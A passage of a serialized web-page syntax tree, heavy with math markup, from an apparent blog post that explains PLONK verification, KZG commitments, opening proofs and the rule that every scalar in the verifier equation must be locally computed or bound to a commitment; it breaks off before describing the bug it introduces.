",{"type":24,"tag":284,"props":150446,"children":150448},{"className":150447},[2949,2950],[150449],{"type":24,"tag":327,"props":150450,"children":150452},{"className":150451},[2955],[150453],{"type":24,"tag":327,"props":150454,"children":150456},{"className":150455,"ariaHidden":2961},[2960],[150457],{"type":24,"tag":327,"props":150458,"children":150460},{"className":150459},[2966],[150461,150465,150470,150475,150480],{"type":24,"tag":327,"props":150462,"children":150464},{"className":150463,"style":3685},[2971],[],{"type":24,"tag":327,"props":150466,"children":150468},{"className":150467,"style":3528},[2977,2978],[150469],{"type":29,"value":150338},{"type":24,"tag":327,"props":150471,"children":150473},{"className":150472},[3121],[150474],{"type":29,"value":349},{"type":24,"tag":327,"props":150476,"children":150478},{"className":150477},[2977,2978],[150479],{"type":29,"value":603},{"type":24,"tag":327,"props":150481,"children":150483},{"className":150482},[3143],[150484],{"type":29,"value":3146},{"type":29,"value":150486}," divides ",{"type":24,"tag":284,"props":150488,"children":150490},{"className":150489},[2949,2950],[150491],{"type":24,"tag":327,"props":150492,"children":150494},{"className":150493},[2955],[150495],{"type":24,"tag":327,"props":150496,"children":150498},{"className":150497,"ariaHidden":2961},[2960],[150499],{"type":24,"tag":327,"props":150500,"children":150502},{"className":150501},[2966],[150503,150507,150512,150517,150522],{"type":24,"tag":327,"props":150504,"children":150506},{"className":150505,"style":3685},[2971],[],{"type":24,"tag":327,"props":150508,"children":150510},{"className":150509,"style":2979},[2977,2978],[150511],{"type":29,"value":128552},{"type":24,"tag":327,"props":150513,"children":150515},{"className":150514},[3121],[150516],{"type":29,"value":349},{"type":24,"tag":327,"props":150518,"children":150520},{"className":150519},[2977,2978],[150521],{"type":29,"value":603},{"type":24,"tag":327,"props":150523,"children":150525},{"className":150524},[3143],[150526],{"type":29,"value":3146},{"type":29,"value":150528},", yielding a quotient polynomial ",{"type":24,"tag":284,"props":150530,"children":150532},{"className":150531},[2949,2950],[150533],{"type":24,"tag":327,"props":150534,"children":150536},{"className":150535},[2955],[150537],{"type":24,"tag":327,"props":150538,"children":150540},{"className":150539,"ariaHidden":2961},[2960],[150541],{"type":24,"tag":327,"props":150542,"children":150544},{"className":150543},[2966],[150545,150549,150554,150559,150564],{"type":24,"tag":327,"props":150546,"children":150548},{"className":150547,"style":3685},[2971],[],{"type":24,"tag":327,"props":150550,"children":150552},{"className":150551,"style":2979},[2977,2978],[150553],{"type":29,"value":13555},{"type":24,"tag":327,"props":150555,"children":150557},{"className":150556},[3121],[150558],{"type":29,"value":349},{"type":24,"tag":327,"props":150560,"children":150562},{"className":150561},[2977,2978],[150563],{"type":29,"value":603},{"type":24,"tag":327,"props":150565,"children":150567},{"className":150566},[3143],[150568],{"type":29,"value":3146},{"type":29,"value":2885},{"type":24,"tag":284,"props":150571,"children":150573},{"className":150572},[2949,2950],[150574],{"type":24,"tag":327,"props":150575,"children":150577},{"className":150576},[2955],[150578],{"type":24,"tag":327,"props":150579,"children":150581},{"className":150580,"ariaHidden":2961},[2960],[150582,150623,150664],{"type":24,"tag":327,"props":150583,"children":150585},{"className":150584},[2966],[150586,150590,150595,150600,150605,150610,150614,150619],{"type":24,"tag":327,"props":150587,"children":150589},{"className":150588,"style":3685},[2971],[],{"type":24,"tag":327,"props":150591,"children":150593},{"className":150592,"style":2979},[2977,2978],[150594],{"type":29,"value":128552},{"type":24,"tag":327,"props":150596,"children":150598},{"className":150597},[3121],[150599],{"type":29,"value":349},{"type":24,"tag":327,"props":150601,"children":150603},{"className":150602},[2977,2978],[150604],{"type":29,"value":603},{"type":24,"tag":327,"props":150606,"children":150608},{"className":150607},[3143],[150609],{"type":29,"value":3146},{"type":24,"tag":327,"props":150611,"children":150613},{"className":150612,"style":2993},[2992],[],{"type":24,"tag":327,"props":150615,"children":150617},{"className":150616},[2998],[150618],{"type":29,"value":384},{"type":24,"tag":327,"props":150620,"children":150622},{"className":150621,"style":2993},[2992],[],{"type":24,"tag":327,"props":150624,"children":150626},{"className":150625},[2966],[150627,150631,150636,150641,150646,150651,150655,150660],{"type":24,"tag":327,"props":150628,"children":150630},{"className":150629,"style":3685},[2971],[],{"type":24,"tag":327,"props":150632,"children":150634},{"className":150633,"style":2979},[2977,2978],[150635],{"type":29,"value":13555},{"type":24,"tag":327,"props":150637,"children":150639},{"className":150638},[3121],[150640],{"type":29,"value":349},{"type":24,"tag":327,"props":150642,"children":150644},{"className":150643},[2977,2978],[150645],{"type":29,"value":603},{"type":24,"tag":327,"props":150647,"children":150649},{"className":150648},[3143],[150650],{"type":29,"value":3146},{"type":24,"tag":327,"props":150652,"children":150654},{"className":150653,"style":3705},[2992],[],{"type":24,"tag":327,"props":150656,"children":150658},{"className":150657},[3710],[150659],{"type":29,"value":118036},{"type":24,"tag":327,"props":150661,"children":150663},{"className":150662,"style":3705},[2992],[],{"type":24,"tag":327,"props":150665,"children":150667},{"className":150666},[2966],[150668,150672,150677,150682,150687],{"type":24,"tag":327,"props":150669,"children":150671},{"className":150670,"style":3685},[2971],[],{"type":24,"tag":327,"props":150673,"children":150675},{"className":150674,"style":3528},[2977,2978],[150676],{"type":29,"value":150338},{"type":24,"tag":327,"props":150678,"children":150680},{"className":150679},[3121],[150681],{"type":29,"value":349},{"type":24,"tag":327,"props":150683,"children":150685},{"className":150684},[2977,2978],[150686],{"type":29,"value":603},{"type":24,"tag":327,"props":150688,"children":150690},{"className":150689},[3143],[150691],{"type":29,"value":3146},{"type":29,"value":66},{"type":24,"tag":25,"props":150694,"children":150695},{},[150696],{"type":24,"tag":11511,"props":150697,"children":150700},{"alt":150698,"src":150699},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":24,"tag":235,"props":150702,"children":150704},{"id":150703},"polynomial-commitments-and-opening-proofs",[150705],{"type":29,"value":150706},"Polynomial commitments and opening proofs",{"type":24,"tag":25,"props":150708,"children":150709},{},[150710,150712,150717,150719,150724],{"type":29,"value":150711},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":24,"tag":42,"props":150713,"children":150714},{},[150715],{"type":29,"value":150716},"commitments",{"type":29,"value":150718},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":24,"tag":42,"props":150720,"children":150721},{},[150722],{"type":29,"value":150723},"opening proof",{"type":29,"value":150725}," that the claimed value is consistent with the earlier commitment.",{"type":24,"tag":25,"props":150727,"children":150728},{},[150729],{"type":29,"value":150730},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":24,"tag":235,"props":150732,"children":150734},{"id":150733},"reducing-to-a-single-random-point",[150735],{"type":29,"value":150736},"Reducing to a single random point",{"type":24,"tag":25,"props":150738,"children":150739},{},[150740,150742,150782,150784,150809,150811,150933,150935,150960],{"type":29,"value":150741},"After the prover commits to all polynomials, including ",{"type":24,"tag":284,"props":150743,"children":150745},{"className":150744},[2949,2950],[150746],{"type":24,"tag":327,"props":150747,"children":150749},{"className":150748},[2955],[150750],{"type":24,"tag":327,"props":150751,"children":150753},{"className":150752,"ariaHidden":2961},[2960],[150754],{"type":24,"tag":327,"props":150755,"children":150757},{"className":150756},[2966],[150758,150762,150767,150772,150777],{"type":24,"tag":327,"props":150759,"children":150761},{"className":150760,"style":3685},[2971],[],{"type":24,"tag":327,"props":150763,"children":150765},{"className":150764,"style":2979},[2977,2978],[150766],{"type":29,"value":13555},{"type":24,"tag":327,"props":150768,"children":150770},{"className":150769},[3121],[150771],{"type":29,"value":349},{"type":24,"tag":327,"props":150773,"children":150775},{"className":150774},[2977,2978],[150776],{"type":29,"value":603},{"type":24,"tag":327,"props":150778,"children":150780},{"className":150779},[3143],[150781],{"type":29,"value":3146},{"type":29,"value":150783},", the verifier picks a random challenge point ",{"type":24,"tag":284,"props":150785,"children":150787},{"className":150786},[2949,2950],[150788],{"type":24,"tag":327,"props":150789,"children":150791},{"className":150790},[2955],[150792],{"type":24,"tag":327,"props":150793,"children":150795},{"className":150794,"ariaHidden":2961},[2960],[150796],{"type":24,"tag":327,"props":150797,"children":150799},{"className":150798},[2966],[150800,150804],{"type":24,"tag":327,"props":150801,"children":150803},{"className":150802,"style":117615},[2971],[],{"type":24,"tag":327,"props":150805,"children":150807},{"className":150806,"style":120331},[2977,2978],[150808],{"type":29,"value":120334},{"type":29,"value":150810}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":24,"tag":284,"props":150812,"children":150814},{"className":150813},[2949,2950],[150815],{"type":24,"tag":327,"props":150816,"children":150818},{"className":150817},[2955],[150819],{"type":24,"tag":327,"props":150820,"children":150822},{"className":150821,"ariaHidden":2961},[2960],[150823,150864,150905],{"type":24,"tag":327,"props":150824,"children":150826},{"className":150825},[2966],[150827,150831,150836,150841,150846,150851,150855,150860],{"type":24,"tag":327,"props":150828,"children":150830},{"className":150829,"style":3685},[2971],[],{"type":24,"tag":327,"props":150832,"children":150834},{"className":150833,"style":2979},[2977,2978],[150835],{"type":29,"value":128552},{"type":24,"tag":327,"props":150837,"children":150839},{"className":150838},[3121],[150840],{"type":29,"value":349},{"type":24,"tag":327,"props":150842,"children":150844},{"className":150843,"style":120331},[2977,2978],[150845],{"type":29,"value":120334},{"type":24,"tag":327,"props":150847,"children":150849},{"className":150848},[3143],[150850],{"type":29,"value":3146},{"type":24,"tag":327,"props":150852,"children":150854},{"className":150853,"style":2993},[2992],[],{"type":24,"tag":327,"props":150856,"children":150858},{"className":150857},[2998],[150859],{"type":29,"value":384},{"type":24,"tag":327,"props":150861,"children":150863},{"className":150862,"style":2993},[2992],[],{"type":24,"tag":327,"props":150865,"children":150867},{"className":150866},[2966],[150868,150872,150877,150882,150887,150892,150896,150901],{"type":24,"tag":327,"props":150869,"children":150871},{"className":150870,"style":3685},[2971],[],{"type":24,"tag":327,"props":150873,"children":150875},{"className":150874,"style":2979},[2977,2978],[150876],{"type":29,"value":13555},{"type":24,"tag":327,"props":150878,"children":150880},{"className":150879},[3121],[150881],{"type":29,"value":349},{"type":24,"tag":327,"props":150883,"children":150885},{"className":150884,"style":120331},[2977,2978],[150886],{"type":29,"value":120334},{"type":24,"tag":327,"props":150888,"children":150890},{"className":150889},[3143],[150891],{"type":29,"value":3146},{"type":24,"tag":327,"props":150893,"children":150895},{"className":150894,"style":3705},[2992],[],{"type":24,"tag":327,"props":150897,"children":150899},{"className":150898},[3710],[150900],{"type":29,"value":118036},{"type":24,"tag":327,"props":150902,"children":150904},{"className":150903,"style":3705},[2992],[],{"type":24,"tag":327,"props":150906,"children":150908},{"className":150907},[2966],[150909,150913,150918,150923,150928],{"type":24,"tag":327,"props":150910,"children":150912},{"className":150911,"style":3685},[2971],[],{"type":24,"tag":327,"props":150914,"children":150916},{"className":150915,"style":3528},[2977,2978],[150917],{"type":29,"value":150338},{"type":24,"tag":327,"props":150919,"children":150921},{"className":150920},[3121],[150922],{"type":29,"value":349},{"type":24,"tag":327,"props":150924,"children":150926},{"className":150925,"style":120331},[2977,2978],[150927],{"type":29,"value":120334},{"type":24,"tag":327,"props":150929,"children":150931},{"className":150930},[3143],[150932],{"type":29,"value":3146},{"type":29,"value":150934}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":24,"tag":284,"props":150936,"children":150938},{"className":150937},[2949,2950],[150939],{"type":24,"tag":327,"props":150940,"children":150942},{"className":150941},[2955],[150943],{"type":24,"tag":327,"props":150944,"children":150946},{"className":150945,"ariaHidden":2961},[2960],[150947],{"type":24,"tag":327,"props":150948,"children":150950},{"className":150949},[2966],[150951,150955],{"type":24,"tag":327,"props":150952,"children":150954},{"className":150953,"style":117615},[2971],[],{"type":24,"tag":327,"props":150956,"children":150958},{"className":150957,"style":120331},[2977,2978],[150959],{"type":29,"value":120334},{"type":29,"value":150961}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":24,"tag":25,"props":150963,"children":150964},{},[150965,150967,150992,150994,150999],{"type":29,"value":150966},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":24,"tag":284,"props":150968,"children":150970},{"className":150969},[2949,2950],[150971],{"type":24,"tag":327,"props":150972,"children":150974},{"className":150973},[2955],[150975],{"type":24,"tag":327,"props":150976,"children":150978},{"className":150977,"ariaHidden":2961},[2960],[150979],{"type":24,"tag":327,"props":150980,"children":150982},{"className":150981},[2966],[150983,150987],{"type":24,"tag":327,"props":150984,"children":150986},{"className":150985,"style":117615},[2971],[],{"type":24,"tag":327,"props":150988,"children":150990},{"className":150989,"style":120331},[2977,2978],[150991],{"type":29,"value":120334},{"type":29,"value":150993},", the prover supplies ",{"type":24,"tag":42,"props":150995,"children":150996},{},[150997],{"type":29,"value":150998},"evaluation claims",{"type":29,"value":151000}," that must be checked against those commitments with opening proofs.",{"type":24,"tag":25,"props":151002,"children":151003},{},[151004,151006,151010],{"type":29,"value":151005},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":24,"tag":42,"props":151007,"children":151008},{},[151009],{"type":29,"value":111318},{"type":29,"value":151011}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":24,"tag":235,"props":151013,"children":151015},{"id":151014},"what-the-verifier-is-actually-allowed-to-trust",[151016],{"type":29,"value":151017},"What the verifier is actually allowed to trust",{"type":24,"tag":25,"props":151019,"children":151020},{},[151021,151023,151028],{"type":29,"value":151022},"For this bug, one invariant matters more than the rest: ",{"type":24,"tag":188,"props":151024,"children":151025},{},[151026],{"type":29,"value":151027},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":29,"value":66},{"type":24,"tag":25,"props":151030,"children":151031},{},[151032,151034,151126,151127,151219,151221,151246,151248,151288,151289,151329,151330,151423,151424,151470,151472,151559,151560,151647,151648,151735],{"type":29,"value":151033},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":24,"tag":284,"props":151035,"children":151037},{"className":151036},[2949,2950],[151038],{"type":24,"tag":327,"props":151039,"children":151041},{"className":151040},[2955],[151042],{"type":24,"tag":327,"props":151043,"children":151045},{"className":151044,"ariaHidden":2961},[2960],[151046],{"type":24,"tag":327,"props":151047,"children":151049},{"className":151048},[2966],[151050,151054,151111,151116,151121],{"type":24,"tag":327,"props":151051,"children":151053},{"className":151052,"style":3685},[2971],[],{"type":24,"tag":327,"props":151055,"children":151057},{"className":151056},[2977],[151058,151063],{"type":24,"tag":327,"props":151059,"children":151061},{"className":151060,"style":3528},[2977,2978],[151062],{"type":29,"value":150338},{"type":24,"tag":327,"props":151064,"children":151066},{"className":151065},[3032],[151067],{"type":24,"tag":327,"props":151068,"children":151070},{"className":151069},[3037,3038],[151071,151100],{"type":24,"tag":327,"props":151072,"children":151074},{"className":151073},[3043],[151075,151095],{"type":24,"tag":327,"props":151076,"children":151078},{"className":151077,"style":149329},[3048],[151079],{"type":24,"tag":327,"props":151080,"children":151081},{"style":123023},[151082,151086],{"type":24,"tag":327,"props":151083,"children":151085},{"className":151084,"style":3059},[3058],[],{"type":24,"tag":327,"props":151087,"children":151089},{"className":151088},[3064,3065,3066,3067],[151090],{"type":24,"tag":327,"props":151091,"children":151093},{"className":151092,"style":100008},[2977,2978,3067],[151094],{"type":29,"value":100011},{"type":24,"tag":327,"props":151096,"children":151098},{"className":151097},[3150],[151099],{"type":29,"value":3153},{"type":24,"tag":327,"props":151101,"children":151103},{"className":151102},[3043],[151104],{"type":24,"tag":327,"props":151105,"children":151107},{"className":151106,"style":99857},[3048],[151108],{"type":24,"tag":327,"props":151109,"children":151110},{},[],{"type":24,"tag":327,"props":151112,"children":151114},{"className":151113},[3121],[151115],{"type":29,"value":349},{"type":24,"tag":327,"props":151117,"children":151119},{"className":151118,"style":120331},[2977,2978],[151120],{"type":29,"value":120334},{"type":24,"tag":327,"props":151122,"children":151124},{"className":151123},[3143],[151125],{"type":29,"value":3146},{"type":29,"value":2744},{"type":24,"tag":284,"props":151128,"children":151130},{"className":151129},[2949,2950],[151131],{"type":24,"tag":327,"props":151132,"children":151134},{"className":151133},[2955],[151135],{"type":24,"tag":327,"props":151136,"children":151138},{"className":151137,"ariaHidden":2961},[2960],[151139],{"type":24,"tag":327,"props":151140,"children":151142},{"className":151141},[2966],[151143,151147,151204,151209,151214],{"type":24,"tag":327,"props":151144,"children":151146},{"className":151145,"style":3685},[2971],[],{"type":24,"tag":327,"props":151148,"children":151150},{"className":151149},[2977],[151151,151156],{"type":24,"tag":327,"props":151152,"children":151154},{"className":151153},[2977,2978],[151155],{"type":29,"value":124738},{"type":24,"tag":327,"props":151157,"children":151159},{"className":151158},[3032],[151160],{"type":24,"tag":327,"props":151161,"children":151163},{"className":151162},[3037,3038],[151164,151193],{"type":24,"tag":327,"props":151165,"children":151167},{"className":151166},[3043],[151168,151188],{"type":24,"tag":327,"props":151169,"children":151171},{"className":151170,"style":99826},[3048],[151172],{"type":24,"tag":327,"props":151173,"children":151174},{"style":99830},[151175,151179],{"type":24,"tag":327,"props":151176,"children":151178},{"className":151177,"style":3059},[3058],[],{"type":24,"tag":327,"props":151180,"children":151182},{"className":151181},[3064,3065,3066,3067],[151183],{"type":24,"tag":327,"props":151184,"children":151186},{"className":151185},[2977,3067],[151187],{"type":29,"value":3238},{"type":24,"tag":327,"props":151189,"children":151191},{"className":151190},[3150],[151192],{"type":29,"value":3153},{"type":24,"tag":327,"props":151194,"children":151196},{"className":151195},[3043],[151197],{"type":24,"tag":327,"props":151198,"children":151200},{"className":151199,"style":99857},[3048],[151201],{"type":24,"tag":327,"props":151202,"children":151203},{},[],{"type":24,"tag":327,"props":151205,"children":151207},{"className":151206},[3121],[151208],{"type":29,"value":349},{"type":24,"tag":327,"props":151210,"children":151212},{"className":151211,"style":120331},[2977,2978],[151213],{"type":29,"value":120334},{"type":24,"tag":327,"props":151215,"children":151217},{"className":151216},[3143],[151218],{"type":29,"value":3146},{"type":29,"value":151220},", the public-input polynomial at ",{"type":24,"tag":284,"props":151222,"children":151224},{"className":151223},[2949,2950],[151225],{"type":24,"tag":327,"props":151226,"children":151228},{"className":151227},[2955],[151229],{"type":24,"tag":327,"props":151230,"children":151232},{"className":151231,"ariaHidden":2961},[2960],[151233],{"type":24,"tag":327,"props":151234,"children":151236},{"className":151235},[2966],[151237,151241],{"type":24,"tag":327,"props":151238,"children":151240},{"className":151239,"style":117615},[2971],[],{"type":24,"tag":327,"props":151242,"children":151244},{"className":151243,"style":120331},[2977,2978],[151245],{"type":29,"value":120334},{"type":29,"value":151247},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":24,"tag":284,"props":151249,"children":151251},{"className":151250},[2949,2950],[151252],{"type":24,"tag":327,"props":151253,"children":151255},{"className":151254},[2955],[151256],{"type":24,"tag":327,"props":151257,"children":151259},{"className":151258,"ariaHidden":2961},[2960],[151260],{"type":24,"tag":327,"props":151261,"children":151263},{"className":151262},[2966],[151264,151268,151273,151278,151283],{"type":24,"tag":327,"props":151265,"children":151267},{"className":151266,"style":3685},[2971],[],{"type":24,"tag":327,"props":151269,"children":151271},{"className":151270},[2977,2978],[151272],{"type":29,"value":57},{"type":24,"tag":327,"props":151274,"children":151276},{"className":151275},[3121],[151277],{"type":29,"value":349},{"type":24,"tag":327,"props":151279,"children":151281},{"className":151280,"style":120331},[2977,2978],[151282],{"type":29,"value":120334},{"type":24,"tag":327,"props":151284,"children":151286},{"className":151285},[3143],[151287],{"type":29,"value":3146},{"type":29,"value":2744},{"type":24,"tag":284,"props":151290,"children":151292},{"className":151291},[2949,2950],[151293],{"type":24,"tag":327,"props":151294,"children":151296},{"className":151295},[2955],[151297],{"type":24,"tag":327,"props":151298,"children":151300},{"className":151299,"ariaHidden":2961},[2960],[151301],{"type":24,"tag":327,"props":151302,"children":151304},{"className":151303},[2966],[151305,151309,151314,151319,151324],{"type":24,"tag":327,"props":151306,"children":151308},{"className":151307,"style":3685},[2971],[],{"type":24,"tag":327,"props":151310,"children":151312},{"className":151311},[2977,2978],[151313],{"type":29,"value":10828},{"type":24,"tag":327,"props":151315,"children":151317},{"className":151316},[3121],[151318],{"type":29,"value":349},{"type":24,"tag":327,"props":151320,"children":151322},{"className":151321,"style":120331},[2977,2978],[151323],{"type":29,"value":120334},{"type":24,"tag":327,"props":151325,"children":151327},{"className":151326},[3143],[151328],{"type":29,"value":3146},{"type":29,"value":2744},{"type":24,"tag":284,"props":151331,"children":151333},{"className":151332},[2949,2950],[151334],{"type":24,"tag":327,"props":151335,"children":151337},{"className":151336},[2955],[151338],{"type":24,"tag":327,"props":151339,"children":151341},{"className":151340,"ariaHidden":2961},[2960],[151342],{"type":24,"tag":327,"props":151343,"children":151345},{"className":151344},[2966],[151346,151350,151408,151413,151418],{"type":24,"tag":327,"props":151347,"children":151349},{"className":151348,"style":3685},[2971],[],{"type":24,"tag":327,"props":151351,"children":151353},{"className":151352},[2977],[151354,151360],{"type":24,"tag":327,"props":151355,"children":151357},{"className":151356,"style":100260},[2977,2978],[151358],{"type":29,"value":151359},"σ",{"type":24,"tag":327,"props":151361,"children":151363},{"className":151362},[3032],[151364],{"type":24,"tag":327,"props":151365,"children":151367},{"className":151366},[3037,3038],[151368,151397],{"type":24,"tag":327,"props":151369,"children":151371},{"className":151370},[3043],[151372,151392],{"type":24,"tag":327,"props":151373,"children":151375},{"className":151374,"style":99826},[3048],[151376],{"type":24,"tag":327,"props":151377,"children":151378},{"style":100307},[151379,151383],{"type":24,"tag":327,"props":151380,"children":151382},{"className":151381,"style":3059},[3058],[],{"type":24,"tag":327,"props":151384,"children":151386},{"className":151385},[3064,3065,3066,3067],[151387],{"type":24,"tag":327,"props":151388,"children":151390},{"className":151389},[2977,3067],[151391],{"type":29,"value":3238},{"type":24,"tag":327,"props":151393,"children":151395},{"className":151394},[3150],[151396],{"type":29,"value":3153},{"type":24,"tag":327,"props":151398,"children":151400},{"className":151399},[3043],[151401],{"type":24,"tag":327,"props":151402,"children":151404},{"className":151403,"style":99857},[3048],[151405],{"type":24,"tag":327,"props":151406,"children":151407},{},[],{"type":24,"tag":327,"props":151409,"children":151411},{"className":151410},[3121],[151412],{"type":29,"value":349},{"type":24,"tag":327,"props":151414,"children":151416},{"className":151415,"style":120331},[2977,2978],[151417],{"type":29,"value":120334},{"type":24,"tag":327,"props":151419,"children":151421},{"className":151420},[3143],[151422],{"type":29,"value":3146},{"type":29,"value":2744},{"type":24,"tag":284,"props":151425,"children":151427},{"className":151426},[2949,2950],[151428],{"type":24,"tag":327,"props":151429,"children":151431},{"className":151430},[2955],[151432],{"type":24,"tag":327,"props":151433,"children":151435},{"className":151434,"ariaHidden":2961},[2960],[151436],{"type":24,"tag":327,"props":151437,"children":151439},{"className":151438},[2966],[151440,151444,151449,151454,151459,151465],{"type":24,"tag":327,"props":151441,"children":151443},{"className":151442,"style":3685},[2971],[],{"type":24,"tag":327,"props":151445,"children":151447},{"className":151446},[2977,2978],[151448],{"type":29,"value":57},{"type":24,"tag":327,"props":151450,"children":151452},{"className":151451},[3121],[151453],{"type":29,"value":349},{"type":24,"tag":327,"props":151455,"children":151457},{"className":151456,"style":120331},[2977,2978],[151458],{"type":29,"value":120334},{"type":24,"tag":327,"props":151460,"children":151462},{"className":151461,"style":100260},[2977,2978],[151463],{"type":29,"value":151464},"ω",{"type":24,"tag":327,"props":151466,"children":151468},{"className":151467},[3143],[151469],{"type":29,"value":3146},{"type":29,"value":151471},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":24,"tag":284,"props":151473,"children":151475},{"className":151474},[2949,2950],[151476],{"type":24,"tag":327,"props":151477,"children":151479},{"className":151478},[2955],[151480],{"type":24,"tag":327,"props":151481,"children":151483},{"className":151482,"ariaHidden":2961},[2960],[151484],{"type":24,"tag":327,"props":151485,"children":151487},{"className":151486},[2966],[151488,151492,151497,151554],{"type":24,"tag":327,"props":151489,"children":151491},{"className":151490,"style":3685},[2971],[],{"type":24,"tag":327,"props":151493,"children":151495},{"className":151494},[3121],[151496],{"type":29,"value":11329},{"type":24,"tag":327,"props":151498,"children":151500},{"className":151499},[2977],[151501,151506],{"type":24,"tag":327,"props":151502,"children":151504},{"className":151503,"style":100260},[2977,2978],[151505],{"type":29,"value":100263},{"type":24,"tag":327,"props":151507,"children":151509},{"className":151508},[3032],[151510],{"type":24,"tag":327,"props":151511,"children":151513},{"className":151512},[3037,3038],[151514,151543],{"type":24,"tag":327,"props":151515,"children":151517},{"className":151516},[3043],[151518,151538],{"type":24,"tag":327,"props":151519,"children":151521},{"className":151520,"style":149329},[3048],[151522],{"type":24,"tag":327,"props":151523,"children":151524},{"style":100307},[151525,151529],{"type":24,"tag":327,"props":151526,"children":151528},{"className":151527,"style":3059},[3058],[],{"type":24,"tag":327,"props":151530,"children":151532},{"className":151531},[3064,3065,3066,3067],[151533],{"type":24,"tag":327,"props":151534,"children":151536},{"className":151535,"style":101782},[2977,2978,3067],[151537],{"type":29,"value":101785},{"type":24,"tag":327,"props":151539,"children":151541},{"className":151540},[3150],[151542],{"type":29,"value":3153},{"type":24,"tag":327,"props":151544,"children":151546},{"className":151545},[3043],[151547],{"type":24,"tag":327,"props":151548,"children":151550},{"className":151549,"style":99857},[3048],[151551],{"type":24,"tag":327,"props":151552,"children":151553},{},[],{"type":24,"tag":327,"props":151555,"children":151557},{"className":151556},[3143],[151558],{"type":29,"value":22934},{"type":29,"value":2744},{"type":24,"tag":284,"props":151561,"children":151563},{"className":151562},[2949,2950],[151564],{"type":24,"tag":327,"props":151565,"children":151567},{"className":151566},[2955],[151568],{"type":24,"tag":327,"props":151569,"children":151571},{"className":151570,"ariaHidden":2961},[2960],[151572],{"type":24,"tag":327,"props":151573,"children":151575},{"className":151574},[2966],[151576,151580,151585,151642],{"type":24,"tag":327,"props":151577,"children":151579},{"className":151578,"style":3685},[2971],[],{"type":24,"tag":327,"props":151581,"children":151583},{"className":151582},[3121],[151584],{"type":29,"value":11329},{"type":24,"tag":327,"props":151586,"children":151588},{"className":151587},[2977],[151589,151594],{"type":24,"tag":327,"props":151590,"children":151592},{"className":151591,"style":100260},[2977,2978],[151593],{"type":29,"value":100263},{"type":24,"tag":327,"props":151595,"children":151597},{"className":151596},[3032],[151598],{"type":24,"tag":327,"props":151599,"children":151601},{"className":151600},[3037,3038],[151602,151631],{"type":24,"tag":327,"props":151603,"children":151605},{"className":151604},[3043],[151606,151626],{"type":24,"tag":327,"props":151607,"children":151609},{"className":151608,"style":149329},[3048],[151610],{"type":24,"tag":327,"props":151611,"children":151612},{"style":100307},[151613,151617],{"type":24,"tag":327,"props":151614,"children":151616},{"className":151615,"style":3059},[3058],[],{"type":24,"tag":327,"props":151618,"children":151620},{"className":151619},[3064,3065,3066,3067],[151621],{"type":24,"tag":327,"props":151622,"children":151624},{"className":151623,"style":99774},[2977,2978,3067],[151625],{"type":29,"value":122093},{"type":24,"tag":327,"props":151627,"children":151629},{"className":151628},[3150],[151630],{"type":29,"value":3153},{"type":24,"tag":327,"props":151632,"children":151634},{"className":151633},[3043],[151635],{"type":24,"tag":327,"props":151636,"children":151638},{"className":151637,"style":99857},[3048],[151639],{"type":24,"tag":327,"props":151640,"children":151641},{},[],{"type":24,"tag":327,"props":151643,"children":151645},{"className":151644},[3143],[151646],{"type":29,"value":22934},{"type":29,"value":2744},{"type":24,"tag":284,"props":151649,"children":151651},{"className":151650},[2949,2950],[151652],{"type":24,"tag":327,"props":151653,"children":151655},{"className":151654},[2955],[151656],{"type":24,"tag":327,"props":151657,"children":151659},{"className":151658,"ariaHidden":2961},[2960],[151660],{"type":24,"tag":327,"props":151661,"children":151663},{"className":151662},[2966],[151664,151668,151673,151730],{"type":24,"tag":327,"props":151665,"children":151667},{"className":151666,"style":3685},[2971],[],{"type":24,"tag":327,"props":151669,"children":151671},{"className":151670},[3121],[151672],{"type":29,"value":11329},{"type":24,"tag":327,"props":151674,"children":151676},{"className":151675},[2977],[151677,151682],{"type":24,"tag":327,"props":151678,"children":151680},{"className":151679,"style":100260},[2977,2978],[151681],{"type":29,"value":151359},{"type":24,"tag":327,"props":151683,"children":151685},{"className":151684},[3032],[151686],{"type":24,"tag":327,"props":151687,"children":151689},{"className":151688},[3037,3038],[151690,151719],{"type":24,"tag":327,"props":151691,"children":151693},{"className":151692},[3043],[151694,151714],{"type":24,"tag":327,"props":151695,"children":151697},{"className":151696,"style":99826},[3048],[151698],{"type":24,"tag":327,"props":151699,"children":151700},{"style":100307},[151701,151705],{"type":24,"tag":327,"props":151702,"children":151704},{"className":151703,"style":3059},[3058],[],{"type":24,"tag":327,"props":151706,"children":151708},{"className":151707},[3064,3065,3066,3067],[151709],{"type":24,"tag":327,"props":151710,"children":151712},{"className":151711},[2977,3067],[151713],{"type":29,"value":25038},{"type":24,"tag":327,"props":151715,"children":151717},{"className":151716},[3150],[151718],{"type":29,"value":3153},{"type":24,"tag":327,"props":151720,"children":151722},{"className":151721},[3043],[151723],{"type":24,"tag":327,"props":151724,"children":151726},{"className":151725,"style":99857},[3048],[151727],{"type":24,"tag":327,"props":151728,"children":151729},{},[],{"type":24,"tag":327,"props":151731,"children":151733},{"className":151732},[3143],[151734],{"type":29,"value":22934},{"type":29,"value":151736},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":24,"tag":25,"props":151738,"children":151739},{},[151740],{"type":29,"value":151741},"Any term that falls outside those three categories is attacker-controlled by 